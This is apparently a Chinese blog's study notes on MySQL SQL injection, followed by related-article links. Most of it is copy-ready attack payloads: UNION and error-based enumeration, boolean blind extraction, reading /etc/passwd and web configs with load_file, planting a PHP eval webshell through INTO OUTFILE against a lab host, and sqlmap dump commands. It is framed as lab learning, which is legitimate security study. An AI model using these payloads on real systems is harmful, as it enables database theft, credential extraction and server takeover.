sql注入的分类:布尔型 报错型 可联合查询型 多语句查询型 基于时间延迟注入

1.注释符

#
/*
--

2.过滤空格注入

使用/**/或()或+代替空格

3.多条数据显示

concat(str1,str2.....)  可以连接一个或多个字符串,返回结果为连接参数产生的字符串,连接每一行的列
group_concat()  把所有的行连成一行,以逗号分开
concat_ws(separator,str1,str2......)  第一个参数是分隔符,如果分隔符为空,则结果为空。

4.相关函数:

system_user() 系统用户名
user() 用户名
current_user 当前用户名

length()  获取长度
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径

一.sql一般注入语句(联合查询:主要是找显示位):

猜字段 order by n --+

再通过union select 联合查询,爆出显示位 union select 1,2,3...

可以根据php内建函数,查看mysql相关信息

table_schema  获取所有数据库
table_name   获取表
column_name  获取字段

查询数据库

union select 1,2,table_schema from information_schema.columns --+

查询表名

union select 1,2,table_name from information_schema.columns where table_schema='查询到的数据库名' --+

查询字段

union select 1,2,column_name from information_schema.columns where table_name='查询到的表名' --+

查询数据

union select 1,2,group_concat(字段1,字段2......) from 数据库.表名 --+

二.sql报错注入(环境:主要是构造错误,不过公式里已经构造好了,在这里不能和group_concat()同时用,要用limit)

and(select 1 from(select count(*),concat((select (select ( payload ))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) --+

在payload处,写入自己的sql语句。

查询当前登录的数据库

+and(select 1 from(select count(*),concat((select (select (select
concat(0x7e,database(),0x7e))) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

查询数据库

+and(select 1 from(select count(*),concat((select (select (select
distinct concat(0x7e,table_schema,0x7e) from information_schema.columns
limit 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a)
--+

查询表

+and(select 1 from(select count(*),concat((select (select (select
distinct concat(0x7e,table_name,0x7e) from information_schema.columns
where table_schema="数据库名" limit 0,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by
x)a) --+

查询字段

+and(select 1 from(select count(*),concat((select (select (select
distinct concat(0x7e,column_name,0x7e) from information_schema.columns
where table_name="表名" limit 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

查看有多少个字段

+and(select 1 from(select count(*),concat((select (select (select
distinct concat(0x7e,count(column_name),0x7e) from
information_schema.columns where table_name="表名" limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) --+

查看数据

+and(select 1 from(select count(*),concat((select (select (select
concat(0x7e,Host,0x7e,User,0x7e,Password) from 数据库名.表名 limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) --+

三.sql一般盲注(布尔型)(环境:没有显示位,没有出错,只能从页面返回正常和不正常判断):

exists()   有返回结果输出1,没返回结果输出0

ascii()   返回最左边字符的ascii码

substr(string string ,num start,num length)  返回一个字符串的子串  string为一个字符串,start为起始位置,length为取几个    mysql的起始位置默认从1开始

length()  返回字符串长度

判断表存在不存在

id=1' and exists(select * from information_schema.tables) --+

判断version()返回字符串的长度(6)

id=1' and (select length(version())) >6 --+

判断有多少个库(4)

id=1' and (select count(distinct+table_schema) from information_schema.tables) >3 --+

第%d个数据库名的字符串长度

id=1' and (select length((select table_schema from information_schema.tables limit %d,1)) > 17) --+

知道数据库名的长度后,再依次查看每个字符串,连接起来就是库名

第%d1个库的第%d2个字符的ascii码  依次类推可以得到数据库名

id=1' and (select ascii(substr((select distinct table_schema from information_schema.tables limit %d1,1),%d2,1))) >104 --+

获取当前数据库的第%d个表名的字符串长度 (3)

id=1' and (select count(table_name) from information_schema.tables where table_schema=database() limit %d,1) > 3 --+

获取当前数据库的第一个表名的第一个字符的ascii码  以此类推 可以得到表名

id=1' and (select ascii(substr((select
table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)) > 100) --+

获取当前数据库的emails表的第1列列名的第1个字符的length (2)

id=1' and ((select length(column_name)
from information_schema.columns where table_schema=database() and
table_name='emails' limit 0,1) >2)  --+

当前数据库的emails表的第1列 列名的第1个字符的length : 2

获取当前数据库的emails表的第1列 列名的第一个字符(104) 以此类推 获取列名

id=1' and ((select
ascii(substr(column_name,1,1)) from information_schema.columns where
table_schema=database() and table_name='emails' limit 0,1) >104)  --+

获取emails表里第一行内容的字符串长度(16)

id=1' and ((select length(email_id) from emails limit 0,1) > 15) --+

获取emails表里第一行内容的第一个字符串的ascii码(68)

id=1' and ((select ascii(substr(email_id,1,1)) from emails limit 0,1) > 67) --+

mysql root读写文件

两个函数:

load_file()   读文件内容并以字符形式显示出来,可以读取连接数据库的配置文件,首先要知道文件的绝对路径和对文件有读权限(默认是mysql)

条件:

file_priv  可以在 desc mysql.user里查看

知道文件的绝对路径

能够使用union

对web目录具有读权限

into_outfile()   把select的结果写入到文件

条件:

file_priv  可以在 desc mysql.user里查看

知道文件的绝对路径

能够使用union

对web目录具有写权限

没有过滤'

获得网站绝对路径的方法:

php报错显示绝对路径

load_file读web配置文件  然后在Document这可以知道网站根目录

phpinfo.php  info.php

php一句话木马:

select '<?php @eval($_POST["123456"]);?>'  INTO  OUTFILE '/var/www/html/a.php'

123456是连接菜刀的密码,a.php是你写入的木马文件名   /var/www/html 是网站根目录

以实验室的环境为例:

select 1,2,load_file('/etc/passwd') 先随便读取一个看看

id=18799' union select 1,2,load_file('/etc/init.d/httpd')--+  可以得到配置文件路径

union select 1,2,load_file('/etc/httpd/conf/httpd.conf')  得到网站根目录

(得到网站根目录后,怎么查看根目录下有哪些文件,具体是怎么得到数据库用户名和密码?因为访问网页的内容,肯定是连接数据库了,意思就是怎么得到连接数
据库的用户名和密码的?答:访问网站,在网页点击,然后查看网页源码,看有哪些配置文件,再用load_file()去读取,再查看源码,有php标签的
在网页显示不出来,要看源码)

然后就可以往根目录写一句话木马了,但前提是要对web根目录具有写权限,不然就没办法获取webshell了

例子

http://172.21.50.66/Less-1/?id=18799' union select 1,2,'<?php @eval($_POST["123456"]);?>' into outfile '/tmp/aa.php' --+

然后

http://172.21.50.66/Less-1/?id=18799' union select 1,2,load_file('/tmp/aa.php') --+

然后查看源代码。就看到写的文件了。

四.sqlmap简单用法

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行指令。

sqlmap枚举数据:

users,password hashes,privileges,roles,databases,tables and columns

当给sqlmap这么一个url的时候,它会:

1.判断可注入的参数

2.判断可以用那种sql注入技术来注入

3.识别出哪种数据库

4.根据用户选择,读取哪些数据

回显等级(参数-v)

0、只显示python错误以及严重的信息

1、同时显示基本信息和警告信息

2、同时显示debug信息

3、同时显示注入的payload

4、同时显示HTTP请求

5、同时显示HTTP响应头

6、同时显示HTTP响应页面

列数据:

-b

--dbs

--current-db

--tables -D database_name

--columns -T table_name -D database_name

--dump -C column_1,column_2 -T table_name -D database_name

--dump -T table_name -D database_name --start=1 --stop=5

--count -T table_name -D database_name

参考资料:

http://drops.wooyun.org/tips/143

http://www.freebuf.com/articles/web/29942.html

http://www.freebuf.com/articles/web/31568.html

3_初学sql注入的更多相关文章

  1. 初学JDBC,防SQL注入简单示例

    在JDBC简单封装的基础上实现 public class UserDao{ public static void testGetUser(String userName) throws Excepti ...

  2. [初学Python]编写一个最简单判断SQL注入的检测工具

    0x01 背景 15年那会,几乎可以说是渗透最火的一年,各种教程各种文章,本人也是有幸在那几年学到了一些皮毛,中间因学业问题将其荒废至今.当初最早学的便是,and 1=1 和 and 1=2 这最简单 ...

  3. PHPSHE 1.7前台SQL注入漏洞分析

    此CMS  SQL注入漏洞产生原因为未将经过 addslashes() 函数过滤的数据使用单引号包裹,从而导致的SQL注入漏洞.接下来看漏洞详情: 首先查看phpshe下的common.php文件37 ...

  4. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  5. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  6. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  7. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  8. 揭开SQL注入的神秘面纱PPT分享

        SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助.     点击这里下载.

  9. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

随机推荐

  1. nopCommerce 3.9 大波浪系列 之 引擎 NopEngine

    本章涉及到的内容如下 1.EngineContext初始化IEngine实例 2.Autofac依赖注入初始化 3.AutoMapper框架初始化 4.启动任务初始化 一.EngineContext初 ...

  2. Sqoop Java API 导入应用案例

    环境信息: Linux+JDK1.7 Sqoop 1.4.6-cdh5.5.2 hadoop-core 2.6.0-mr1-cdh5.5.2 hadoop-common 2.6.0-cdh5.5.2 ...

  3. Java并发编程——线程安全及解决机制简介

    简介: 本文主要介绍了Java多线程环境下,可能会出现的问题(线程不安全)以及相应的解决措施.通过本文,你将学习到如下几块知识: 1. 为什么需要多线程(多线程的优势) 1. 多线程带来的问题—线程安 ...

  4. Nlpir Parser敏感词搜索灵玖语义技术应用

    近年来随着网络技术的飞速发展和用户的剧烈增长,网络传输数据量越来越大,网络用语越来越趋于多样化.如何快速的屏蔽用户的不当言论.过滤用户发表内容中的非法词汇已成为关键词匹配领域的一项重大难题. 目前主要 ...

  5. year:2017 month:08 day:03

    2017-08-03 JAVAse 继承 继承:通过extends关键字可实现类与类之间的继承 父类:基类/超类 子类:派生类 1.继承的特点:单继承[一个类只能有一个父类]多层次[父类还可有父类] ...

  6. JavaScript:int string 相互转化

    A.把int型转换成string型 (1) var   x=100    a   =   x.toString()      (2) var   x=100;    a   =   x   +&quo ...

  7. js 重载(overload)

    1.js中不支持重载的语法.(因为js不允许多个同名函数存在) 解决:使用arguments类数组对象接收调用时所有传入的参数值. 2. arguments可以使用length属性,通过下标访问,不能 ...

  8. curl---一款实用的URL命令行网络通讯工具/库

    最近一段时间在看朴灵翻译的<深入浅出nodejs>,里面有提到一种脱离浏览器的客户端网络通讯工具,curl命令,自己在电脑上试了一下,感觉非常好用,而且莫名的感觉这是一个非常强大的网络工具 ...

  9. 2016 "Bird Cup" ICPC7th@ahstu--“波导杯”安徽科技学院第七届程序设计大赛

    "波导杯"安徽科技学院第七届程序设计大赛 Contest - 2016 "Bird Cup" ICPC7th@ahstu Start time:  2016-0 ...

  10. gitbook初体验

    前言 在早些天看sec-wiki的时候,看到有同学做了一个ctf-wiki来介绍CTF,让CTF新手能够快速入门,做成了电子书的样子,放在github上面.页面精美.简洁,让人爱不惜手. 想着自己也能 ...